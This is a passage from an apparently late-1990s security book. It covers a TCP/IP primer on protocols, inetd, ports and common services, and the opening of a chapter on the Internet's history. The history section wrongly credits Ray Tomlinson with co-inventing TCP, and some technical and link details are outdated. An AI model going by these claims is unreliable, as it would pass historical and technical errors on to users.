Platforms and their support for TCP/IP. \nPlatform \nTCP/IP Support \n" }, { "page_number": 81, "text": " \n \nUNIX \nNative \nDOS \nPiper/IP By Ipswitch \nWindows \nTCPMAN by Trumpet Software \nWindows 95 \nNative \nWindows NT \nNative \nMacintosh \nMacTCP or OpenTransport (Sys 7.5+) \nOS/2 \nNative \nAS/400 OS/400 Native \nPlatforms that do not natively support TCP/IP can still implement it through the use of \nproprietary or third-party TCP/IP programs. In these instances, third-party products can \noffer varied functionality. Some offer very good support and others offer marginal \nsupport. \nFor example, some third-party products provide the user with only basic TCP/IP. For \nmost users, this is sufficient. (They simply want to connect to the Net, get their mail, and \nenjoy easy networking.) In contrast, certain third-party TCP/IP implementations are \ncomprehensive. These may allow manipulation of compression, methods of transport, \nand other features common to the typical UNIX TCP/IP implementation. \nWidespread third-party support for TCP/IP has been around for only a few years. Several \nyears ago, for example, TCP/IP support for DOS boxes was very slim. \n \nTIP: There is actually a wonderful product called Minuet that can be used in conjunction \nwith a packet driver on LANs. Minuet derived its name from the term Minnesota Internet \nUsers Essential Tool. Minuet offers quick and efficient access to the Net through a DOS-\nbased environment. This product is still available free of charge at many locations, \nincluding ftp://minuet.micro.umn.edu/pub/minuet/. \n \nOne interesting point about non-native, third-party TCP/IP implementations is this: Most \nof them do not provide servers within their distributions. Thus, although a user can \nconnect to remote machines to transfer a file, the user's machine cannot accept such a \nrequest. For example, a Windows 3.11 user using TCPMAN cannot--without installing \nadditional software--accept a file-transfer request from a remote machine. Later in this \nchapter you'll find a list of a few names of such additional software for those who are \ninterested in providing services via TCP/IP. \nHow Does TCP/IP Work? \nTCP/IP operates through the use of a protocol stack. This stack is the sum total of all \nprotocols necessary to complete a single transfer of data between two machines. (It is \nalso the path that data takes to get out of one machine and into another.) The stack is \nbroken into layers, five of which are of concern here. To grasp this layer concept, \nexamine Figure 6.1. \nFigure 6.1. \nThe TCP/IP stack. \n" }, { "page_number": 82, "text": " \n \nAfter data has passed through the process illustrated in Figure 6.1, it travels to its \ndestination on another machine or network. There, the process is executed in reverse (the \ndata first meets the physical layer and subsequently travels its way up the stack). \nThroughout this process, a complex system of error checking is employed both on the \noriginating and destination machine. \nEach layer of the stack can send data to and receive data from its adjoining layer. Each \nlayer is also associated with multiple protocols. At each tier of the stack, these protocols \nare hard at work, providing the user with various services. The next section of this \nchapter examines these services and the manner in which they are associated with layers \nin the stack. You will also examine their functions, the services they provide, and their \nrelationship to security. \nThe Individual Protocols \nYou have examined how data is transmitted via TCP/IP using the protocol stack. Now I \nwant to zoom in to identify the key protocols that operate within that stack. I will begin \nwith network-level protocols. \nNetwork-Level Protocols \nNetwork protocols are those protocols that engage in (or facilitate) the transport process \ntransparently. These are invisible to the user unless that user employs utilities to monitor \nsystem processes. \n \nTIP: Sniffers are devices that can monitor such processes. A sniffer is a device--either \nhardware or software--that can read every packet sent across a network. Sniffers are \ncommonly used to isolate network problems that, while invisible to the user, are \ndegrading network performance. As such, sniffers can read all activity occurring between \nnetwork-level protocols. Moreover, as you might guess, sniffers can pose a tremendous \nsecurity threat. You will examine sniffers in Chapter 12, \"Sniffers.\" \n \nImportant network-level protocols include \n• \nThe Address Resolution Protocol (ARP) \n• \nThe Internet Control Message Protocol (ICMP) \n• \nThe Internet Protocol (IP) \n• \nThe Transmission Control Protocol (TCP) \nI will briefly examine each, offering only an overview. \n \nCross Reference: For more comprehensive information about protocols (or the stack in \ngeneral), I highly recommend Teach Yourself TCP/IP in 14 Days by Timothy Parker, \nPh.D (Sams Publishing). \n \nThe Address Resolution Protocol \n" }, { "page_number": 83, "text": " \n \nThe Address Resolution Protocol (ARP) serves the critical purpose of mapping Internet \naddresses into physical addresses. This is vital in routing information across the Internet. \nBefore a message (or other data) is sent, it is packaged into IP packets, or blocks of \ninformation suitably formatted for Internet transport. These contain the numeric Internet \n(IP) address of both the originating and destination machines. Before this package can \nleave the originating computer, however, the hardware address of the recipient \n(destination) must be discovered. (Hardware addresses differ from Internet addresses.) \nThis is where ARP makes its debut. \nAn ARP request message is broadcast on the subnet. This request is received by a router \nthat replies with the requested hardware address. This reply is caught by the originating \nmachine and the transfer process can begin. \nARP's design includes a cache. To understand the ARP cache concept, consider this: \nMost modern HTML browsers (such as Netscape Navigator or Microsoft's Internet \nExplorer) utilize a cache. This cache is a portion of the disk (or memory) in which \nelements from often-visited Web pages are stored (such as buttons, headers, and common \ngraphics). This is logical because when you return to those pages, these tidbits don't have \nto be reloaded from the remote machine. They will load much more quickly if they are in \nyour local cache. \nSimilarly, ARP implementations include a cache. In this manner, hardware addresses of \nremote machines or networks are remembered, and this memory obviates the need to \nconduct subsequent ARP queries on them. This saves time and network resources. \nCan you guess what type of security risks might be involved in maintaining such an ARP \ncache? At this stage, it is not particularly important. However, address caching (not only \nin ARP but in all instances) does indeed pose a unique security risk. If such address-\nlocation entries are stored, it makes it easier for a cracker to forge a connection from a \nremote machine, claiming to hail from one of the cached addresses. \n \nCross Reference: Readers seeking in-depth information on ARP should see RFC 826 \n(http://www.freesoft.org/Connected/RFC/826). \n \n \nCross Reference: Another good reference for information on ARP is Margaret K. \nJohnson's piece about details of TCP/IP (excerpts from Microsoft LAN Manager TCP/IP \nProtocol) \n(http://www.alexia.net.au/~www/yendor/internetinfo/index.htm\nl). \n \nThe Internet Control Message Protocol \nThe Internet Control Message Protocol handles error and control messages that are \npassed between two (or more) computers or hosts during the transfer process. It allows \nthose hosts to share that information. In this respect, ICMP is critical for diagnosis of \nnetwork problems. Examples of diagnostic information gathered through ICMP include \n• \nWhen a host is down \n" }, { "page_number": 84, "text": " \n \n• \nWhen a gateway is congested or inoperable \n• \nOther failures on a network \n \nTIP: Perhaps the most widely known ICMP implementation involves a network utility \ncalled ping. Ping is often used to determine whether a remote machine is alive. Ping's \nmethod of operation is simple: When the user pings a remote machine, packets are \nforwarded from the user's machine to the remote host. These packets are then echoed \nback to the user's machine. If no echoed packets are received at the user's end, the ping \nprogram usually generates an error message indicating that the remote host is down. \n \n \nCross Reference: I urge those readers seeking in-depth information about ICMP to \nexamine RFC 792 (http://sunsite.auc.dk/RFC/rfc/rfc792.html). \n \nThe Internet Protocol \nIP belongs to the network layer. The Internet Protocol provides packet delivery for all \nprotocols within the TCP/IP suite. Thus, IP is the heart of the incredible process by which \ndata traverses the Internet. To explore this process, I have drafted a small model of an IP \ndatagram (see Figure 6.2). \nFigure 6.2. \nThe IP datagram. \nAs illustrated, an IP datagram is composed of several parts. The first part, the header, is \ncomposed of miscellaneous information, including originating and destination IP address. \nTogether, these elements form a complete header. The remaining portion of a datagram \ncontains whatever data is then being sent. \nThe amazing thing about IP is this: If IP datagrams encounter networks that require \nsmaller packages, the datagrams bust apart to accommodate the recipient network. Thus, \nthese datagrams can fragment during a journey and later be reassembled properly (even if \nthey do not arrive in the same sequence in which they were sent) at their destination. \nEven further information is contained within an IP datagram. Some of that information \nmay include identification of the protocol being used, a header checksum, and a time-to-\nlive specification. This specification is a numeric value. While the datagram is traveling \nthe void, this numeric value is constantly being decremented. When that value finally \nreaches a zero state, the datagram dies. Many types of packets have time-to-live \nlimitations. Some network utilities (such as Traceroute) utilize the time-to-live field as a \nmarker in diagnostic routines. \nIn closing, IP's function can be reduced to this: providing packet delivery over the \nInternet. As you can see, that packet delivery is complex in its implementation. \n \nCross Reference: I refer readers seeking in-depth information on Internet protocol to \nRFC 760 (http://sunsite.auc.dk/RFC/rfc/rfc760.html). \n \n" }, { "page_number": 85, "text": " \n \nThe Transmission Control Protocol \nThe Transmission Control Protocol is the chief protocol employed on the Internet. It \nfacilitates such mission-critical tasks as file transfers and remote sessions. TCP \naccomplishes these tasks through a method called reliable data transfer. In this respect, \nTCP differs from other protocols within the suite. In unreliable delivery, you have no \nguarantee that the data will arrive in a perfect state. In contrast, TCP provides what is \nsometimes referred to as reliable stream delivery. This reliable stream delivery ensures \nthat the data arrives in the same sequence and state in which it was sent. \nThe TCP system relies on a virtual circuit that is established between the requesting \nmachine and its target. This circuit is opened via a three-part process, often referred to as \nthe three-part handshake. The process typically follows the pattern illustrated in Figure \n6.3. \nFigure 6.3. \nThe TCP/IP three-way handshake. \nAfter the circuit is open, data can simultaneously travel in both directions. This results in \nwhat is sometimes called a full-duplex transmission path. Full-duplex transmission \nallows data to travel to both machines at the same time. In this way, while a file transfer \n(or other remote session) is underway, any errors that arise can be forwarded to the \nrequesting machine. \nTCP also provides extensive error-checking capabilities. For each block of data sent, a \nnumeric value is generated. The two machines identify each transferred block using this \nnumeric value. For each block successfully transferred, the receiving host sends a \nmessage to the sender that the transfer was clean. Conversely, if the transfer is \nunsuccessful, two things may occur: \n• \nThe requesting machine receives error information \n• \nThe requesting machine receives nothing \nWhen an error is received, the data is retransmitted unless the error is fatal, in which case \nthe transmission is usually halted. A typical example of a fatal error would be if the \nconnection is dropped. Thus, the transfer is halted for no packets. \nSimilarly, if no confirmation is received within a specified time period, the information is \nalso retransmitted. This process is repeated as many times as necessary to complete the \ntransfer or remote session. \nYou have examined how the data is transported when a connect request is made. It is now \ntime to examine what happens when that request reaches its destination. Each time one \nmachine requests a connection to another, it specifies a particular destination. In the \ngeneral sense, this destination is expressed as the Internet (IP) address and the hardware \naddress of the target machine. However, even more detailed than this, the requesting \nmachine specifies the application it is trying to reach at the destination. This involves two \nelements: \n" }, { "page_number": 86, "text": " \n \n• \nA program called inetd \n• \nA system based on ports \ninetd: The Mother of All Daemons \nBefore you explore the inetd program, I want to briefly define daemons. This will help \nyou more easily understand the inetd program. \nDaemons are programs that continuously listen for other processes (in this case, the \nprocess listened for is a connection request). Daemons loosely resemble terminate and \nstay resident (TSR) programs in the Microsoft platform. These programs remain alive at \nall times, constantly listening for a particular event. When that event finally occurs, the \nTSR undertakes some action. \ninetd is a very special daemon. It has been called many things, including the super-server \nor granddaddy of all processes. This is because inetd is the main daemon running on a \nUNIX machine. It is also an ingenious tool. \nCommon sense tells you that running a dozen or more daemon processes could eat up \nmachine resources. So rather than do that, why not create one daemon that could listen \nfor all the others? That is what inetd does. It listens for connection requests from the void. \nWhen it receives such a request, it evaluates it. This evaluation seeks to determine one \nthing only: What service does the requesting machine want? For example, does it want \nFTP? If so, inetd starts the FTP server process. The FTP server can then process the \nrequest from the void. At that point, a file transfer can begin. This all happens within the \nspace of a second or so. \n \nTIP: inetd isn't just for UNIX anymore. For example, Hummingbird Communications \nhas developed (as part of its Exceed 5 product line) a version of inetd for use on any \nplatform that runs Microsoft Windows or OS/2. There are also non- commercial versions \nof inetd, written by students and other software enthusiasts. One such distribution is \navailable from TFS software and can be found at \nhttp://www.trumpton.demon.co.uk/software/inetd.html. \n \nIn general, inetd is started at boot time and remains resident (in a listening state) until the \nmachine is turned off or until the root operator expressly terminates that process. \nThe behavior of inetd is generally controlled from a file called inetd.conf, located in \nthe /etc directory on most UNIX platforms. The inetd.conf file is used to specify what \nservices will be called by inetd. Such services might include FTP, Telnet, SMTP, TFTP, \nFinger, Systat, Netstat, or any other processes that you specify. \nThe Ports \nMany TCP/IP programs can be initiated over the Internet. Most of these are client/server \noriented. As each connection request is received, inetd starts a server program, which \nthen communicates with the requesting client machine. \n" }, { "page_number": 87, "text": " \n \nTo facilitate this process, each application (FTP or Telnet, for example) is assigned a \nunique address. This address is called a port. The application in question is bound to that \nparticular port and, when any connection request is made to that port, the corresponding \napplication is launched (inetd is the program that launches it). \nThere are thousands of ports on the average Internet server. For purposes of convenience \nand efficiency, a standard framework has been developed for port assignment. (In other \nwords, although a system administrator can bind services to the ports of his or her choice, \nservices are generally bound to recognized ports. These are commonly referred to as well-\nknown ports.) \nPlease peruse Table 6.2 for some commonly recognized ports and the applications \ntypically bound to them. \nTable 6.2. Common ports and their corresponding services or applications. \nService or Application \nPort \nFile Transfer Protocol (FTP) \n21 \nTelnet \n23 \nSimple Mail Transfer Protocol (SMTP) \n25 \nGopher \n70 \nFinger \n79 \nHypertext Transfer Protocol (HTTP) \n80 \nNetwork News Transfer Protocol (NNTP) 119 \nI will examine each of the applications described in Table 6.2. All are application-level \nprotocols or services (that is, they are visible to user and the user can interact with them \nat the console). \n \nCross Reference: For a comprehensive list of all port assignments, visit \nftp://ftp.isi.edu/in-notes/iana/assignments/port-numbers. This \ndocument is extremely informative and exhaustive in its treatment of commonly assigned \nport numbers. \n \nTelnet \nTelnet is best described in RFC 854, the Telnet protocol specification: \nThe purpose of the Telnet protocol is to provide a fairly general, bi-directional, eight-bit byte-\noriented communications facility. Its primary goal is to allow a standard method of interfacing \nterminal devices and terminal-oriented processes to each other. \nTelnet not only allows the user to log in to a remote host, it allows that user to execute \ncommands on that host. Thus, an individual in Los Angeles can Telnet to a machine in \nNew York and begin running programs on the New York machine just as though the user \nwere actually in New York. \nFor those of you who are unfamiliar with Telnet, it operates much like the interface of a \nbulletin board system (BBS). Telnet is an excellent application for providing a terminal-\n" }, { "page_number": 88, "text": " \n \nbased front end to databases. For example, better than 80 percent of all university library \ncatalogs can be accessed via Telnet. Figure 6.4 shows an example of a Telnet library \ncatalog screen. \nFigure 6.4. \nA sample Telnet session. \nEven though GUI applications have taken the world by storm, Telnet--which is \nessentially a text-based application--is still incredibly popular. There are many reasons \nfor this. First, Telnet allows you to perform a variety of functions (retrieving mail, for \nexample) at a minimal cost in network resources. Second, implementing secure Telnet is \na pretty simple task. There are several programs to implement this, the most popular of \nwhich is Secure Shell (which I will explore later in this book). \nTo use Telnet, the user issues whatever command necessary to start his or her Telnet \nclient, followed the name (or numeric IP address) of the target host. In UNIX, this is done \nas follows: \n#telnet internic.net \nThis command launches a Telnet session, contacts internic.net, and requests a \nconnection. That connection will either be honored or denied, depending on the \nconfiguration at the target host. In UNIX, the Telnet command has long been a native \none. That is, Telnet has been included with basic UNIX distributions for well over a \ndecade. However, not all operating systems have a native Telnet client. Table 6.3 shows \nTelnet clients for various operating systems. \nTable 6.3. Telnet clients for various operating systems. \nOperating System \nClient \nUNIX \nNative \nMicrosoft Windows 95 Native (command line), ZOC, NetTerm, Zmud, WinTel32, Yawtelnet \nMicrosoft Windows NT Native (command line), CRT, and all listed for 95 \nMicrosoft Windows 3.x Trumptel Telnet, Wintel, Ewan \nMacintosh \nNCSA Telnet, NiftyTelnet, Comet \nVAX \nNative \nFile Transfer Protocol \nFile Transfer Protocol is the standard method of transferring files from one system to \nanother. Its purpose is set forth in RFC 0765 as follows: \nThe objectives of FTP are 1) to promote sharing of files (computer programs and/or data), 2) to \nencourage indirect or implicit (via programs) use of remote computers, 3) to shield a user from \nvariations in file storage systems among Hosts, and 4) to transfer data reliably and efficiently. \nFTP, though usable directly by a user at a terminal, is designed mainly for use by programs. \nFor over two decades, researchers have investigated a wide variety of file-transfer \nmethods. The development of FTP has undergone many changes in that time. Its first \ndefinition occurred in April 1971, and the full specification can be read in RFC 114. \n \n" }, { "page_number": 89, "text": " \n \nCross Reference: RFC 114 contains the first definition of FTP, but a more practical \ndocument might be RFC 959 \n(http://www.freesoft.org/Connected/RFC/959/index.html). \n \nMechanical Operation of FTP \nFile transfers using FTP can be accomplished using any suitable FTP client. Table 6.4 \ndefines some common clients used, by operating system. \nTable 6.4. FTP clients for various operating systems. \nOperating System \nClient \nUNIX \nNative, LLNLXDIR2.0, FTPtool \nMicrosoft Windows 95 Native, WS_FTP, Netload, Cute-FTP, Leap FTP, SDFTP, FTP Explorer \nMicrosoft Windows NT See listings for Windows 95 \nMicrosoft Windows 3.x Win_FTP, WS_FTP, CU-FTP, WSArchie \nMacintosh \nAnarchie, Fetch, Freetp \nOS/2 \nGibbon FTP, FTP-IT, Lynn's Workplace FTP \nVAX \nNative \nHow Does FTP Work? \nFTP file transfers occur in a client/server environment. The requesting machine starts one \nof the clients named in Table 6.4. This generates a request that is forwarded to the \ntargeted file server (usually a host on another network). Typically, the request is sent by \ninetd to port 21. For a connection to be established, the targeted file server must be \nrunning an FTP server or FTP daemon. \nFTPD FTPD is the standard FTP server daemon. Its function is simple: to reply to \nconnect requests received by inetd and to satisfy those requests for file transfers. This \ndaemon comes standard on most distributions of UNIX (for other operating systems, see \nTable 6.5). \nTable 6.5. FTP servers for various operating systems. \nOperating System \nClient \nUNIX \nNative (FTPD) \nMicrosoft Windows 95 WFTPD, Microsoft FrontPage, WAR FTP Daemon, Vermilion \nMicrosoft Windows \nNT \nServ-U, OmniFSPD, Microsoft Internet Information Server \nMicrosoft Windows \n3.x \nWinQVT, Serv-U, Beames & Whitside BW Connect, WFTPD FTP Server, \nWinHTTPD \nMacintosh \nNetpresenz, FTPD \nOS/2 \nPenguin \nFTPD waits for a connection request. When such a request is received, FTPD requests the \nuser login. The user must either provide his or her valid user login and password or may \nlog in anonymously. \n" }, { "page_number": 90, "text": " \n \nOnce logged in, the user may download files. In certain instances and if security on the \nserver allows, the user may also upload files. \nSimple Mail Transfer Protocol \nThe objective of Simple Mail Transfer protocol is stated concisely in RFC 821: \nThe objective of Simple Mail Transfer protocol (SMTP) is to transfer mail reliably and efficiently. \nSMTP is an extremely lightweight and efficient protocol. The user (utilizing any SMTP- \ncompliant client) sends a request to an SMTP server. A two-way connection is \nsubsequently established. The client forwards a MAIL instruction, indicating that it wants \nto send mail to a recipient somewhere on the Internet. If the SMTP allows this operation, \nan affirmative acknowledgment is sent back to the client machine. At that point, the \nsession begins. The client may then forward the recipient's identity, his or her IP address, \nand the message (in text) to be sent. \nDespite the simple character of SMTP, mail service has been the source of countless \nsecurity holes. (This may be due in part to the number of options involved. \nMisconfiguration is a common reason for holes.) I will discuss these security issues later \nin this book. \nSMTP servers are native in UNIX. Most other networked operating systems now have \nsome form of SMTP, so I'll refrain from listing them here. \n \nCross Reference: Further information on this protocol is available in RFC 821 \n(http://sunsite.auc.dk/RFC/rfc/rfc821.html). \n \nGopher \nThe Gopher service is a distributed document-retrieval system. It was originally \nimplemented as the Campus Wide Information System at the University of Minnesota. It \nis defined in a March 1993 FYI from the University of Minnesota as follows: \nThe Internet Gopher protocol is designed primarily to act as a distributed document-delivery \nsystem. While documents (and services) reside on many servers, Gopher client software presents \nusers with a hierarchy of items and directories much like a file system. In fact, the Gopher \ninterface is designed to resemble a file system since a file system is a good model for locating \ndocuments and services. \n \nCross Reference: The complete documentation on the Gopher protocol can be obtained \nin RFC 1436 (http://sunsite.auc.dk/RFC/rfc/rfc1436.html). \n \nThe Gopher service is very powerful. It can serve text documents, sounds, and other \nmedia. It also operates largely in text mode and is therefore much faster than HTTP \nthrough a browser. Undoubtedly, the most popular Gopher client is for UNIX. \n(Gopher2_3 is especially popular, followed by Xgopher.) However, many operating \nsystems have Gopher clients. See Table 6.6 for a few. \nTable 6.6. Gopher clients for various operating systems. \n" }, { "page_number": 91, "text": " \n \nOperating System \nClient \nMicrosoft Windows (all) Hgopher, Ws_Gopher \nMacintosh \nMac Turbo Gopher \nAS/400 \nThe AS/400 Gopher Client \nOS/2 \nOs2Gofer \nTypically, the user launches a Gopher client and contacts a given Gopher server. In turn, \nthe Gopher server forwards a menu of choices. These may include search menus, pre-set \ndestinations, or file directories. Figure 6.5 shows a client connection to the University of \nIllinois. \nFigure 6.5. \nA sample gopher session. \nNote that the Gopher model is completely client/server based. The user never logs on per \nse. Rather, the client sends a message to the Gopher server, requesting all documents (or \nobjects) currently available. The Gopher server responds with this information and does \nnothing else until the user requests an object. \nHypertext Transfer Protocol \nHypertext Transfer Protocol is perhaps the most renowned protocol of all because it is \nthis protocol that allows users to surf the Net. Stated briefly in RFC 1945, HTTP is \n...an application-level protocol with the lightness and speed necessary for distributed, \ncollaborative, hypermedia information systems. It is a generic, stateless, object-oriented protocol \nwhich can be used for many tasks, such as name servers and distributed object management \nsystems, through extension of its request methods (commands). A feature of HTTP is the typing of \ndata representation, allowing systems to be built independently of the data being transferred. \n \nNOTE: RFC 1945 has been superseded by RFC 2068, which is a more recent \nspecification of HTTP and is available at \nftp://ds.internic.net/rfc/rfc2068.txt. \n \nHTTP has forever changed the nature of the Internet, primarily by bringing the Internet to \nthe masses. In some ways, its operation is much like Gopher. For example, it too works \nvia a request/response scenario. And this is an important point. Whereas applications \nsuch as Telnet require that a user remain logged on (and while they are logged on, they \nconsume system resources), protocols such as Gopher and HTTP eliminate this \nphenomenon. Thus, the user is pushed back a few paces. The user (client) only consumes \nsystem resources for the instant that he or she is either requesting or receiving data. \nUsing a common browser like Netscape Navigator or Microsoft Internet Explorer, you \ncan monitor this process as it occurs. For each data element (text, graphic, sound) on a \nWWW page, your browser will contact the server one time. Thus, it will first grab text, \nthen a graphic, then a sound file, and so on. In the lower-left corner of your browser's \nscreen is a status bar. Watch it for a few moments when it is loading a page. You will see \nthis request/response activity occur, often at a very high speed. \n" }, { "page_number": 92, "text": " \n \nHTTP doesn't particularly care what type of data is requested. Various forms of \nmultimedia can be either embedded within or served remotely via HTML-based WWW \npages. In short, HTTP is an extremely lightweight and effective protocol. Clients for this \nprotocol are enumerated in Table 6.7. \nTable 6.7. HTTP clients for various operating systems. \nOperating System \nHTTP Client \nMicrosoft Windows \n(all) \nNetscape Navigator, WinWeb, Mosaic, Microsoft Internet Explorer, WebSurfer, \nNetCruiser, AOL, Prodigy \nMacintosh \nNetscape Navigator, MacMosaic, MacWeb, Samba, Microsoft Internet Explorer \nUNIX \nXmosaic, Netscape Navigator, Grail, Lynx, TkWWW, Arena \nOS/2 \nWeb Explorer, Netscape Navigator \nUntil recently, UNIX alone supported an HTTP server. (The standard was NCSA \nHTTPD. Apache has now entered the race, giving HTTPD strong competition in the \nmarket.) The application is extremely small and compact. Like most of its counterparts, it \nruns as a daemon. Its typically assigned port is 80. Today, there are HTTP servers for \nnearly every operating system. Table 6.8 lists those servers. \nTable 6.8. HTTP server for various operating systems. \nOperating System HTTP Server \nMicrosoft \nWindows 3.x \nWebsite, WinHTTPD \nMicrosoft \nWindows 95 \nOmniHTTPD, Server 7, Nutwebcam, Microsoft Personal Web Server, Fnord, ZB \nServer, Website, Folkweb \nMicrosoft \nWindows NT \nHTTPS, Internet Information Server, Alibaba, Espanade, Expresso, Fnord, Folkweb, \nNetpublisher, Weber, OmniHTTPD, WebQuest, Website, Wildcat \nMacintosh \nMacHTTP, Webstar, Phantom, Domino, Netpresenz \nUNIX \nHTTPD, Apache \nOS/2 \nGoServe, OS2HTTPD, OS2WWW, IBM Internet Connection Server, Bearsoft, Squid & \nPlanetwood \nNetwork News Transfer Protocol \nThe Network News Transfer Protocol is one of the most widely used protocols. It \nprovides modern access to the news service commonly known as USENET news. Its \npurpose is defined in RFC 977: \nNNTP specifies a protocol for the distribution, inquiry, retrieval, and posting of news articles \nusing a reliable stream-based transmission of news among the ARPA-Internet community. NNTP \nis designed so that news articles are stored in a central database allowing a subscriber to select \nonly those items he wishes to read. Indexing, cross-referencing, and expiration of aged messages \nare also provided. \nNNTP shares characteristics with both Simple Mail Transfer Protocol and TCP. \nSimilarities to SMTP consist of NNTP's acceptance of plain-English commands from a \nprompt. It is similar to TCP in that stream-based transport and delivery is used. NNTP \ntypically runs from Port 119 on any UNIX system. \n" }, { "page_number": 93, "text": " \n \n \nCross Reference: I refer readers seeking in-depth information on NNTP to RFC 977 \n(http://andrew2.andrew.cmu.edu/rfc/rfc977.html). \nYou may also wish to obtain RFC 850 for examination of earlier implementations of the \nstandard (http://sunsite.auc.dk/RFC/rfc/rfc850.html). \n \nConcepts \nYou have examined TCP/IP services and protocols individually, in their static states. You \nhave also examined the application-level protocols. This was necessary to describe each \nprotocol and what they accomplish. Now it is time to examine the larger picture. \nTCP/IP Is the Internet \nBy now, it should be apparent that TCP/IP basically comprises the Internet itself. It is a \ncomplex collection of protocols, many of which remain invisible to the user. On most \nInternet servers, a minimum of these protocols exist: \n• \nTransmission Control Protocol \n• \nInternet Protocol \n• \nInternet Control Message Protocol \n• \nAddress Resolution Protocol \n• \nFile Transfer Protocol \n• \nThe Telnet protocol \n• \nThe Gopher protocol \n• \nNetwork News Transfer Protocol \n• \nSimple Mail Transfer Protocol \n• \nHypertext Transfer Protocol \nNow, prepare yourself for a shock. These are only a handful of protocols run on the \nInternet. There are actually hundreds of them. Better than half of the primary protocols \nhave had one or more security holes. \nIn essence, the point I would like to make is this: The Internet was designed as a system \nwith multiple avenues of communication. Each protocol is one such avenue. As such, \nthere are hundreds of ways to move data across the Net. \nUntil recently, utilizing these protocols called for accessing them one at a time. That is, to \narrest a Gopher session and start a Telnet session, the user had to physically terminate the \nGopher connection. \n" }, { "page_number": 94, "text": " \n \nThe HTTP browser changed all that and granted the average user much greater power and \nfunctionality. Indeed, FTP, Telnet, NTTP, and HTTP are all available at the click of a \nbutton. \nSummary \nIn this chapter, you learned about TCP/IP. Relevant points about TCP/IP include \n• \nThe TCP/IP protocol suite contains all protocols necessary to facilitate data transfer over the \nInternet \n• \nThe TCP/IP protocol suite provides quick, reliable networking without consuming heavy network \nresources \n• \nTCP/IP is implemented on almost all computing platforms \nNow that know the fundamentals of TCP/IP, you can progress to the next chapter. In it, \nyou will explore some of the reasons why the Internet is not secure. As you can probably \nguess, there will be references to TCP/IP throughout that chapter. \n" }, { "page_number": 95, "text": " \n \n7 \nBirth of a Network: The Internet \nReaders already familiar with the Internet's early development may wish to bypass this \nlittle slice of history. The story has been told many times. \nOur setting is the early 1960s: 1962, to be exact. Jack Kennedy was in the White House, \nthe Beatles had just recorded their first hit single (Love Me Do), and Christa Speck, a \nknock-out brunette from Germany, made Playmate of the Year. Most Americans were \nenjoying an era of prosperity. Elsewhere, however, Communism was spreading, and with \nit came weapons of terrible destruction. \nIn anticipation of impending atomic disaster, The United States Air Force charged a small \ngroup of researchers with a formidable task: creating a communication network that \ncould survive a nuclear attack. Their concept was revolutionary: a network that had no \ncentralized control. If 1 (or 10, or 100) of its nodes were destroyed, the system would \ncontinue to run. In essence, this network (designed exclusively for military use) would \nsurvive the apocalypse itself (even if we didn't). \nThe individual largely responsible for the creation of the Internet is Paul Baran. In 1962, \nBaran worked at RAND Corporation, the think tank charged with developing this \nconcept. Baran's vision involved a network constructed much like a fishnet. In his now-\nfamous memorandum titled On Distributed Communications: I. Introduction to \nDistributed Communications Network, Baran explained: \nThe centralized network is obviously vulnerable as destruction of a single central node destroys \ncommunication between the end stations. In practice, a mixture of star and mesh components is \nused to form communications networks. Such a network is sometimes called a `decentralized' \nnetwork, because complete reliance upon a single point is not always required. \n \nCross Reference: The RAND Corporation has generously made this memorandum and \nthe report delivered by Baran available via the World Wide Web. The documents can be \nfound at http://www.rand.org/publications/electronic/. \n \nBaran's model was complex. His presentation covered every aspect of the proposed \nnetwork, including routing conventions. For example, data would travel along the \nnetwork by whatever channels were available at that precise moment. In essence, the data \nwould dynamically determine its own path at each step of the journey. If it encountered \nsome sort of problem at one crossroads of the Net, the data would find an alternate route. \nBaran's proposed design provided for all sorts of contingencies. For instance, a network \nnode would only accept a message if that node had adequate space available to store it. \nEqually, if a data message determined that all nodes were currently unavailable (the all \nlines busy scenario), the message would wait at the current node until a data path became \navailable. In this way, the network would provide intelligent data transport. Baran also \ndetailed other aspects of the network, including \n• \nSecurity \n" }, { "page_number": 96, "text": " \n \n• \nPriority schemes (and devices to avoid network overload) \n• \nHardware \n• \nCost \nIn essence, Baran eloquently articulated the birth of a network in painstaking detail. \nUnfortunately, however, his ideas were ahead of their time. The Pentagon had little faith \nin such radical concepts. Baran delivered to defense officials an 11-volume report that \nwas promptly shelved. \nThe Pentagon's shortsightedness delayed the birth of the Internet, but not by much. By \n1965, the push was on again. Funding was allocated for the development of a \ndecentralized computer network, and in 1969, that network became a reality. That system \nwas called ARPANET. \nAs networks go, ARPANET was pretty basic, not even closely resembling the Internet of \ntoday. Its topology consisted of links between machines at four academic institutions \n(Stanford Research Institute, the University of Utah, the University of California at Los \nAngeles, and the University of California at Santa Barbara). \nOne of those machines was a DEC PDP-10. Only those more mature readers will \nremember this model. These are massive, ancient beasts, now more useful as furniture \nthan computing devices. I mention the PDP-10 here to briefly recount another legend in \ncomputer history (one that many of you have never heard). By taking this detour, I hope \nto give you a frame of reference from which to measure how incredibly long ago this was \nin computer history. \nIt was at roughly that time that a Seattle, Washington, company began providing \ncomputer time sharing. The company reportedly took on two bright young men to test its \nsoftware. These young men both excelled in computer science, and were rumored to be \nskilled in the art of finding holes within systems. In exchange for testing company \nsoftware, the young men were given free dial-up access to a PDP-10 (this would be the \nequivalent of getting free access to a private bulletin board system). Unfortunately for the \nboys, the company folded shortly thereafter, but the learning experience changed their \nlives. At the time, they were just old enough to attend high school. Today, they are in \ntheir forties. Can you guess their identities? The two boys were Bill Gates and Paul \nAllen. \nIn any event, by 1972, ARPANET had some 40 hosts (in today's terms, that is smaller \nthan many local area networks, or LANs). It was in that year that Ray Tomlinson, a \nmember of Bolt, Beranek, and Newman, Inc., forever changed the mode of \ncommunication on the network. Tomlinson created electronic mail. \nTomlinson's invention was probably the single most important computer innovation of \nthe decade. E-mail allowed simple, efficient, and inexpensive communication between \nvarious nodes of the network. This naturally led to more active discussions and the open \nexchange of ideas. Because many recipients could be added to an e-mail message, these \n" }, { "page_number": 97, "text": " \n \nideas were more rapidly implemented. (Consider the distinction between e-mail and the \ntelephone. How many people can you reach with a modern conference call? Compare that \nto the number of people you can reach with a single e-mail message. For group-oriented \nresearch, e-mail cannot be rivaled.) From that point on, the Net was alive. \nIn 1974, Tomlinson contributed to another startling advance. He (in parallel with Vinton \nCerf and Robert Khan) invented the Transmission Control Protocol (TCP). This protocol \nwas a new means of moving data across the network bit by bit and then later assembling \nthese fragments at the other end. \n \nNOTE: TCP is the primary protocol used on the Internet today. It was developed in the \nearly 1970s and was ultimately integrated into Berkeley Software Distribution UNIX. It \nhas since become an Internet standard. Today, almost all computers connected to the \nInternet run some form of TCP. In Chapter 6, \"A Brief Primer on TCP/IP,\" I closely \nexamine TCP as well as its sister 